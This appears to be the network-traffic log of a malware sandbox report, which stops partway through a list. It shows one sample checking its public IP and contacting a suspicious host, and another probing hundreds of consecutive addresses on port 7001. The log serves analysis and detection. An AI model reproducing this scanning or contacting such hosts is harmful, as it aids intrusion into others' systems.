                                                    GET / HTTP/1.1
                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
                                                    Accept: */*
                                                    Host: ifconfig.me
                                                    Cache-Control: no-cache
                                                    Response
                                                    HTTP/1.1 200 OK
                                                    date: Fri, 11 Oct 2024 14:27:38 GMT
                                                    content-type: text/html; charset=utf-8
                                                    Content-Length: 9510
                                                    access-control-allow-origin: *
                                                    via: 1.1 google
                                                    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                  • flag-us
                                                    DNS
                                                    r10.o.lencr.org
                                                    ezhglhb.exe
                                                    Remote address:
                                                    8.8.8.8:53
                                                    Request
                                                    r10.o.lencr.org
                                                    IN A
                                                    Response
                                                    r10.o.lencr.org
                                                    IN CNAME
                                                    o.lencr.edgesuite.net
                                                    o.lencr.edgesuite.net
                                                    IN CNAME
                                                    a1887.dscq.akamai.net
                                                    a1887.dscq.akamai.net
                                                    IN A
                                                    2.23.210.75
                                                    a1887.dscq.akamai.net
                                                    IN A
                                                    2.23.210.82
                                                  • flag-gb
                                                    GET
                                                    http://r10.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgN2iyOPGVHzsDLXD0h9x80ywA%3D%3D
                                                    ezhglhb.exe
                                                    Remote address:
                                                    2.23.210.75:80
                                                    Request
                                                    GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgN2iyOPGVHzsDLXD0h9x80ywA%3D%3D HTTP/1.1
                                                    Connection: Keep-Alive
                                                    Accept: */*
                                                    User-Agent: Microsoft-CryptoAPI/6.1
                                                    Host: r10.o.lencr.org
                                                    Response
                                                    HTTP/1.1 200 OK
                                                    Server: nginx
                                                    Content-Type: application/ocsp-response
                                                    Content-Length: 504
                                                    ETag: "F05E9BC2D01027501FBDB34428A7381212C8BFD2D577D9B6263A401DED66D14E"
                                                    Last-Modified: Thu, 10 Oct 2024 12:57:00 UTC
                                                    Cache-Control: public, no-transform, must-revalidate, max-age=17348
                                                    Expires: Fri, 11 Oct 2024 19:16:45 GMT
                                                    Date: Fri, 11 Oct 2024 14:27:37 GMT
                                                    Connection: keep-alive
                                                  • 114.55.89.54:63145
                                                    uio.heroherohero.info
                                                    ezhglhb.exe
                                                    152 B
                                                    3
                                                  • 59.57.14.11:80
                                                    2019.ip138.com
                                                    ezhglhb.exe
                                                    152 B
                                                    3
                                                  • 110.81.155.138:80
                                                    2019.ip138.com
                                                    ezhglhb.exe
                                                    152 B
                                                    3
                                                  • 59.57.13.133:80
                                                    2019.ip138.com
                                                    ezhglhb.exe
                                                    152 B
                                                    3
                                                  • 34.160.111.145:443
                                                    https://ifconfig.me/
                                                    tls, http
                                                    ezhglhb.exe
                                                    1.3kB
                                                    14.2kB
                                                    13
                                                    17

                                                    HTTP Request

                                                    GET https://ifconfig.me/

                                                    HTTP Response

                                                    200
                                                  • 2.23.210.75:80
                                                    http://r10.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgN2iyOPGVHzsDLXD0h9x80ywA%3D%3D
                                                    http
                                                    ezhglhb.exe
                                                    429 B
                                                    2.0kB
                                                    4
                                                    4

                                                    HTTP Request

                                                    GET http://r10.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgN2iyOPGVHzsDLXD0h9x80ywA%3D%3D

                                                    HTTP Response

                                                    200
                                                  • 138.199.0.1:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.2:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.3:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.4:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.5:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.6:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.8:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.7:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.9:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.10:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.11:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.12:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.13:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.14:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.15:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.16:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.17:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.18:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.19:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.20:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.21:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.22:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.23:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.24:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.25:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.26:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.27:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.28:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.29:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.30:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.31:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.32:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.33:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.34:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.35:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.36:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.37:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.38:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.39:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.40:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.41:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.42:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.43:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.44:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.45:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.46:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.47:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.48:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.49:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.50:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.51:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.52:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.53:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.54:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.55:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.56:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.57:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.58:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.59:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.60:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.61:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.62:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.63:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.64:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.65:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.66:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.67:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.68:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.69:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.70:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.71:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.72:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.73:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.74:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.75:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.76:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.77:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.78:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.79:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.80:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.81:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.82:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.83:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.84:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.85:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.86:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.87:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.88:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.89:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.90:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.91:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.92:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.93:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.94:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.95:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.96:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.97:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.98:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.99:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.100:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.101:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.102:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.103:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.104:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.105:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.106:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.107:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.108:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.109:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.110:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.111:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.112:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.113:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.114:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.115:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.116:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.117:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.118:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.119:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.120:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.121:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.122:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.123:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.124:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.125:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.126:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.127:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.128:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.129:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.130:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.131:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.132:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.133:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.134:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.135:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.136:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.137:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.138:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.139:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.140:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.141:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.142:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.143:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.144:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.145:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.146:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.147:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.148:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.149:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.150:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.151:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.152:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.153:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.154:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.155:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.156:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.157:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.158:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.159:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.160:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.161:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.162:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.163:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.164:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.165:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.166:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.167:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.168:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.169:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.170:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.171:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.172:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.173:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.174:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.175:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.176:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.177:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.178:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.179:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.180:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.181:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.182:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.183:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.184:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.185:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.186:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.187:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.188:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.189:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.190:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.191:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.192:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.193:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.194:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.195:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.196:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.197:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.198:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.199:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.200:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.201:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.202:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.203:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.204:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.205:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.206:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.207:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.208:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.209:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.210:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.211:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.212:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.213:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.214:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.215:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.216:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.217:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.218:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.219:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.220:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.221:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.222:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.223:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.224:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.225:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.226:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.227:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.228:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.229:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.230:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.231:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.232:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.233:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.234:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.235:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.236:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.237:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.238:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.239:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.240:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.241:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.242:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.243:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.244:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.245:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.246:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.247:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.248:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.249:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.250:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.251:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.252:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.253:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.254:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.0.255:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.0:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.1:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.2:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.3:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.4:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.5:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.6:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.7:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.8:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.9:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.10:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.11:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.12:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.13:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.14:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.15:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.16:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.17:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.18:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.19:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.20:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.21:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.22:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.23:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.24:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.25:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.26:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.27:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.28:7001
                                                    tngpwuarc.exe
